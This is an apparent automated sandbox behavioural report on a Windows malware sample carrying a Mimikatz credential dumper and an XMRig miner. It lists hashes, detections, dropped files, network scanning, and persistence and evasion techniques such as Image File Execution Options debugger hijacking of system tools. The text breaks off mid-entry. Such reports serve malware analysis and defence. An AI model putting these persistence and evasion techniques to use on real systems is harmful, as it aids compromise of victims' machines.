Analysis
-
max time kernel
150s -
max time network
153s -
platform
windows7_x64 -
resource
win7-20230712-en -
resource tags
arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system -
submitted
15/07/2023, 11:03
Behavioral task
behavioral1
Sample
3b8ab5e2026396exeexe_JC.exe
Resource
win7-20230712-en
General
-
Target
3b8ab5e2026396exeexe_JC.exe
-
Size
12.7MB
-
MD5
3b8ab5e2026396f285b570bf698f4ee0
-
SHA1
6275cee3f154b6e9409606860ae5cb492c1335db
-
SHA256
ba6bd7ba0a743e02b142fe57ac6ccba3baa516fc646f47493b1edd1ba5950202
-
SHA512
6ef501940123864e8264db3a0e19ce70f70820b9a48debdff88c9b9c3cf53f57c631f06e240d193660638fb73fbdbe838a35a561b6d86263975d0f8ace4960e1
-
SSDEEP
98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaa:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr
Malware Config
Signatures
-
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 2916 created 304 2916 igfkfmr.exe 17 -
Contacts a large (47881) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
XMRig Miner payload 11 IoCs
resource yara_rule behavioral1/memory/2132-244-0x000000013FE80000-0x000000013FFA0000-memory.dmp xmrig behavioral1/memory/2132-253-0x000000013FE80000-0x000000013FFA0000-memory.dmp xmrig behavioral1/memory/2132-408-0x000000013FE80000-0x000000013FFA0000-memory.dmp xmrig behavioral1/memory/2132-418-0x000000013FE80000-0x000000013FFA0000-memory.dmp xmrig behavioral1/memory/2132-424-0x000000013FE80000-0x000000013FFA0000-memory.dmp xmrig behavioral1/memory/2132-426-0x000000013FE80000-0x000000013FFA0000-memory.dmp xmrig behavioral1/memory/2132-430-0x000000013FE80000-0x000000013FFA0000-memory.dmp xmrig behavioral1/memory/2132-431-0x000000013FE80000-0x000000013FFA0000-memory.dmp xmrig behavioral1/memory/2132-432-0x000000013FE80000-0x000000013FFA0000-memory.dmp xmrig behavioral1/memory/2132-433-0x000000013FE80000-0x000000013FFA0000-memory.dmp xmrig behavioral1/memory/2132-439-0x000000013FE80000-0x000000013FFA0000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 12 IoCs
resource yara_rule behavioral1/memory/2476-54-0x0000000000400000-0x0000000000AA4000-memory.dmp mimikatz behavioral1/files/0x000c00000001225b-58.dat mimikatz behavioral1/files/0x000c00000001225b-59.dat mimikatz behavioral1/files/0x000c00000001225b-60.dat mimikatz behavioral1/files/0x000c00000001225b-61.dat mimikatz behavioral1/memory/2808-62-0x0000000000400000-0x0000000000AA4000-memory.dmp mimikatz behavioral1/files/0x000c00000001225b-63.dat mimikatz behavioral1/memory/2608-189-0x000000013FC90000-0x000000013FD7E000-memory.dmp mimikatz behavioral1/memory/2608-190-0x000000013FC90000-0x000000013FD7E000-memory.dmp mimikatz behavioral1/files/0x0005000000019493-420.dat mimikatz behavioral1/files/0x0005000000019493-422.dat mimikatz behavioral1/files/0x0005000000019493-437.dat mimikatz -
Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts igfkfmr.exe File created C:\Windows\system32\drivers\npf.sys wpcap.exe File created C:\Windows\system32\drivers\etc\hosts igfkfmr.exe -
Modifies Windows Firewall 1 TTPs 2 IoCs
pid Process 1132 netsh.exe 3060 netsh.exe -
Sets file execution options in registry 2 TTPs 40 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" igfkfmr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" igfkfmr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe igfkfmr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe igfkfmr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" igfkfmr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" igfkfmr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe igfkfmr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe igfkfmr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe igfkfmr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" igfkfmr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe igfkfmr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe igfkfmr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" igfkfmr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" igfkfmr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" igfkfmr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe igfkfmr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" igfkfmr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe igfkfmr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe igfkfmr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe igfkfmr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe igfkfmr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe igfkfmr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe igfkfmr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" igfkfmr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" igfkfmr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" igfkfmr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe igfkfmr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" igfkfmr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" igfkfmr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" igfkfmr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe igfkfmr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" igfkfmr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe igfkfmr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" igfkfmr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" igfkfmr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe igfkfmr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" igfkfmr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe igfkfmr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" igfkfmr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe igfkfmr.exe -
Executes dropped EXE 18 IoCs
pid Process 2808 igfkfmr.exe 2916 igfkfmr.exe 1672 wpcap.exe 2076 tvcegiide.exe 2608 vfshost.exe 2436 vtdgmbhnr.exe 2120 xohudmc.exe 2132 hgetmv.exe 1432 dqljao.exe 876 vtdgmbhnr.exe 1580 vtdgmbhnr.exe 884 vtdgmbhnr.exe 2392 mtkcbirem.exe 3536 vtdgmbhnr.exe 2348 vtdgmbhnr.exe 3980 vtdgmbhnr.exe 3096 igfkfmr.exe 1208 igfkfmr.exe -
Loads dropped DLL 24 IoCs
pid Process 1976 cmd.exe 1976 cmd.exe 632 cmd.exe 1672 wpcap.exe 1672 wpcap.exe 1672 wpcap.exe 1672 wpcap.exe 1672 wpcap.exe 2240 cmd.exe 2076 tvcegiide.exe 2076 tvcegiide.exe 1632 cmd.exe 1632 cmd.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2888 cmd.exe 2916 igfkfmr.exe 2916 igfkfmr.exe 2916 igfkfmr.exe -
resource yara_rule behavioral1/files/0x00050000000193ba-185.dat upx behavioral1/files/0x00050000000193ba-184.dat upx behavioral1/files/0x00050000000193ba-183.dat upx behavioral1/memory/2608-189-0x000000013FC90000-0x000000013FD7E000-memory.dmp upx behavioral1/files/0x00050000000193ba-187.dat upx behavioral1/memory/2608-190-0x000000013FC90000-0x000000013FD7E000-memory.dmp upx behavioral1/files/0x00050000000194c8-198.dat upx behavioral1/files/0x00050000000194c8-200.dat upx behavioral1/memory/2436-202-0x000000013F420000-0x000000013F47B000-memory.dmp upx behavioral1/files/0x0005000000019515-217.dat upx behavioral1/files/0x0005000000019515-220.dat upx behavioral1/memory/2132-221-0x000000013FE80000-0x000000013FFA0000-memory.dmp upx behavioral1/memory/2436-232-0x000000013F420000-0x000000013F47B000-memory.dmp upx behavioral1/files/0x00050000000194c8-234.dat upx behavioral1/files/0x00050000000194c8-237.dat upx behavioral1/memory/876-239-0x000000013F2B0000-0x000000013F30B000-memory.dmp upx behavioral1/memory/876-242-0x000000013F2B0000-0x000000013F30B000-memory.dmp upx behavioral1/memory/2132-244-0x000000013FE80000-0x000000013FFA0000-memory.dmp upx behavioral1/files/0x00050000000194c8-248.dat upx behavioral1/memory/1580-252-0x000000013F410000-0x000000013F46B000-memory.dmp upx behavioral1/files/0x00050000000194c8-251.dat upx behavioral1/memory/2132-253-0x000000013FE80000-0x000000013FFA0000-memory.dmp upx behavioral1/memory/1580-255-0x000000013F410000-0x000000013F46B000-memory.dmp upx behavioral1/files/0x00050000000194c8-283.dat upx behavioral1/files/0x00050000000194c8-286.dat upx behavioral1/files/0x00050000000194c8-284.dat upx behavioral1/memory/884-313-0x000000013F620000-0x000000013F67B000-memory.dmp upx behavioral1/memory/884-382-0x000000013F620000-0x000000013F67B000-memory.dmp upx behavioral1/memory/3536-397-0x000000013FB50000-0x000000013FBAB000-memory.dmp upx behavioral1/files/0x00050000000194c8-396.dat upx behavioral1/files/0x00050000000194c8-393.dat upx behavioral1/memory/3536-399-0x000000013FB50000-0x000000013FBAB000-memory.dmp upx behavioral1/files/0x00050000000194c8-401.dat upx behavioral1/files/0x00050000000194c8-403.dat upx behavioral1/memory/2348-404-0x000000013FB70000-0x000000013FBCB000-memory.dmp upx behavioral1/memory/2348-407-0x000000013FB70000-0x000000013FBCB000-memory.dmp upx behavioral1/memory/2132-408-0x000000013FE80000-0x000000013FFA0000-memory.dmp upx behavioral1/files/0x00050000000194c8-411.dat upx behavioral1/files/0x00050000000194c8-409.dat upx behavioral1/memory/3980-413-0x000000013F250000-0x000000013F2AB000-memory.dmp upx behavioral1/memory/3980-415-0x000000013F250000-0x000000013F2AB000-memory.dmp upx behavioral1/memory/2132-418-0x000000013FE80000-0x000000013FFA0000-memory.dmp upx behavioral1/files/0x0005000000019515-421.dat upx behavioral1/memory/2132-424-0x000000013FE80000-0x000000013FFA0000-memory.dmp upx behavioral1/memory/2132-426-0x000000013FE80000-0x000000013FFA0000-memory.dmp upx behavioral1/memory/2132-430-0x000000013FE80000-0x000000013FFA0000-memory.dmp upx behavioral1/memory/2132-431-0x000000013FE80000-0x000000013FFA0000-memory.dmp upx behavioral1/memory/2132-432-0x000000013FE80000-0x000000013FFA0000-memory.dmp upx behavioral1/memory/2132-433-0x000000013FE80000-0x000000013FFA0000-memory.dmp upx behavioral1/memory/2132-439-0x000000013FE80000-0x000000013FFA0000-memory.dmp upx -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 20 ifconfig.me 21 ifconfig.me -
Creates a Windows Service
-
Drops file in System32 directory 40 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Microsoft\Windows\Cookies\R9R0FDZA.txt igfkfmr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Microsoft\Windows\Cookies\84CFECQE.txt igfkfmr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A igfkfmr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\9210422E11ED6E0D0E9DED5E777AF6ED igfkfmr.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Microsoft\Windows\Cookies\L0BV1O7O.txt igfkfmr.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Microsoft\Windows\Cookies\R9R0FDZA.txt igfkfmr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Microsoft\Windows\Cookies\3UOF22AB.txt igfkfmr.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Microsoft\Windows\Cookies\RY9OALZP.txt igfkfmr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Microsoft\Windows\Cookies\BF65Z632.txt igfkfmr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Microsoft\Windows\Cookies\RZLICQ89.txt igfkfmr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357 igfkfmr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 igfkfmr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat igfkfmr.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Microsoft\Windows\Cookies\AJQHDKLQ.txt igfkfmr.exe File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Microsoft\Windows\Cookies\TZ7UU2SL.txt igfkfmr.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Microsoft\Windows\Cookies\3UOF22AB.txt igfkfmr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Microsoft\Windows\Cookies\P3YMDA16.txt igfkfmr.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Microsoft\Windows\Cookies\84CFECQE.txt igfkfmr.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Microsoft\Windows\Cookies\EBVSOQ5Y.txt igfkfmr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015 igfkfmr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015 igfkfmr.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Microsoft\Windows\Cookies\BF65Z632.txt igfkfmr.exe File created C:\Windows\SysWOW64\dqljao.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 igfkfmr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9210422E11ED6E0D0E9DED5E777AF6ED igfkfmr.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Microsoft\Windows\Cookies\P3YMDA16.txt igfkfmr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A igfkfmr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357 igfkfmr.exe File opened for modification C:\Windows\SysWOW64\dqljao.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Microsoft\Windows\Cookies\TZ7UU2SL.txt igfkfmr.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Microsoft\Windows\Cookies\RY9OALZP.txt igfkfmr.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Microsoft\Windows\Cookies\L0BV1O7O.txt igfkfmr.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Microsoft\Windows\Cookies\EBVSOQ5Y.txt igfkfmr.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Microsoft\Windows\Cookies\RZLICQ89.txt igfkfmr.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Microsoft\Windows\Cookies\AJQHDKLQ.txt igfkfmr.exe -
Drops file in Program Files directory 3 IoCs
description ioc Process File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe -
Drops file in Windows directory 60 IoCs
description ioc Process File created C:\Windows\bgthbcuct\UnattendGC\specials\ssleay32.dll igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\spoolsrv.xml igfkfmr.exe File opened for modification C:\Windows\ctenekeq\spoolsrv.xml igfkfmr.exe File opened for modification C:\Windows\ctenekeq\docmicfg.xml igfkfmr.exe File created C:\Windows\bgthbcuct\ehikmcjdi\Packet.dll igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\specials\posh-0.dll igfkfmr.exe File created C:\Windows\bgthbcuct\upbdrjv\swrpwe.exe igfkfmr.exe File created C:\Windows\bgthbcuct\ehikmcjdi\wpcap.dll igfkfmr.exe File created C:\Windows\ctenekeq\docmicfg.xml igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\vimpcsvc.xml igfkfmr.exe File created C:\Windows\ctenekeq\svschost.xml igfkfmr.exe File created C:\Windows\bgthbcuct\ehikmcjdi\scan.bat igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\specials\cnli-1.dll igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\specials\schoedcl.exe igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\specials\zlib1.dll igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\specials\spoolsrv.exe igfkfmr.exe File created C:\Windows\ctenekeq\spoolsrv.xml igfkfmr.exe File opened for modification C:\Windows\ctenekeq\vimpcsvc.xml igfkfmr.exe File created C:\Windows\bgthbcuct\ehikmcjdi\mtkcbirem.exe igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\specials\trfo-2.dll igfkfmr.exe File created C:\Windows\bgthbcuct\Corporate\mimidrv.sys igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\specials\svschost.exe igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\AppCapture64.dll igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\specials\libxml2.dll igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\specials\xdvl-0.dll igfkfmr.exe File created C:\Windows\bgthbcuct\ehikmcjdi\tvcegiide.exe igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\specials\svschost.xml igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\specials\vimpcsvc.xml igfkfmr.exe File opened for modification C:\Windows\ctenekeq\svschost.xml igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\AppCapture32.dll igfkfmr.exe File created C:\Windows\bgthbcuct\ehikmcjdi\ip.txt igfkfmr.exe File opened for modification C:\Windows\ctenekeq\igfkfmr.exe 3b8ab5e2026396exeexe_JC.exe File created C:\Windows\bgthbcuct\ehikmcjdi\wpcap.exe igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\svschost.xml igfkfmr.exe File opened for modification C:\Windows\bgthbcuct\ehikmcjdi\Packet.dll igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\specials\coli-0.dll igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\docmicfg.xml igfkfmr.exe File created C:\Windows\bgthbcuct\Corporate\mimilib.dll igfkfmr.exe File opened for modification C:\Windows\ctenekeq\schoedcl.xml igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\specials\tibe-2.dll igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\specials\tucl-1.dll igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\specials\ucl.dll igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\specials\spoolsrv.xml igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\specials\schoedcl.xml igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\Shellcode.ini igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\specials\libeay32.dll igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\specials\trch-1.dll igfkfmr.exe File created C:\Windows\ctenekeq\vimpcsvc.xml igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\schoedcl.xml igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\specials\docmicfg.xml igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\specials\crli-0.dll igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\specials\exma-1.dll igfkfmr.exe File opened for modification C:\Windows\bgthbcuct\Corporate\log.txt cmd.exe File created C:\Windows\ctenekeq\igfkfmr.exe 3b8ab5e2026396exeexe_JC.exe File created C:\Windows\ctenekeq\schoedcl.xml igfkfmr.exe File created C:\Windows\bgthbcuct\Corporate\vfshost.exe igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\specials\vimpcsvc.exe igfkfmr.exe File created C:\Windows\bgthbcuct\UnattendGC\specials\docmicfg.exe igfkfmr.exe File created C:\Windows\ime\igfkfmr.exe igfkfmr.exe File opened for modification C:\Windows\bgthbcuct\ehikmcjdi\Result.txt mtkcbirem.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 268 sc.exe 828 sc.exe 676 sc.exe 572 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
NSIS installer 14 IoCs
resource yara_rule behavioral1/files/0x000c00000001225b-58.dat nsis_installer_2 behavioral1/files/0x000c00000001225b-59.dat nsis_installer_2 behavioral1/files/0x000c00000001225b-60.dat nsis_installer_2 behavioral1/files/0x000c00000001225b-61.dat nsis_installer_2 behavioral1/files/0x000c00000001225b-63.dat nsis_installer_2 behavioral1/files/0x000300000000b3de-68.dat nsis_installer_1 behavioral1/files/0x000300000000b3de-68.dat nsis_installer_2 behavioral1/files/0x000300000000b3de-70.dat nsis_installer_1 behavioral1/files/0x000300000000b3de-70.dat nsis_installer_2 behavioral1/files/0x000300000000b3de-69.dat nsis_installer_1 behavioral1/files/0x000300000000b3de-69.dat nsis_installer_2 behavioral1/files/0x0005000000019493-420.dat nsis_installer_2 behavioral1/files/0x0005000000019493-422.dat nsis_installer_2 behavioral1/files/0x0005000000019493-437.dat nsis_installer_2 -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1508 schtasks.exe 2560 schtasks.exe 2652 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs igfkfmr.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{E635CDDF-7276-49E4-AE1E-FD8B1606E8B0}\WpadDecisionReason = "1" igfkfmr.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{E635CDDF-7276-49E4-AE1E-FD8B1606E8B0}\WpadNetworkName = "Network 2" igfkfmr.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\9e-d0-9d-8d-75-c2\WpadDecisionTime = 6023b2440cb7d901 igfkfmr.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000004000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0045000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 igfkfmr.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection" netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" vtdgmbhnr.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) 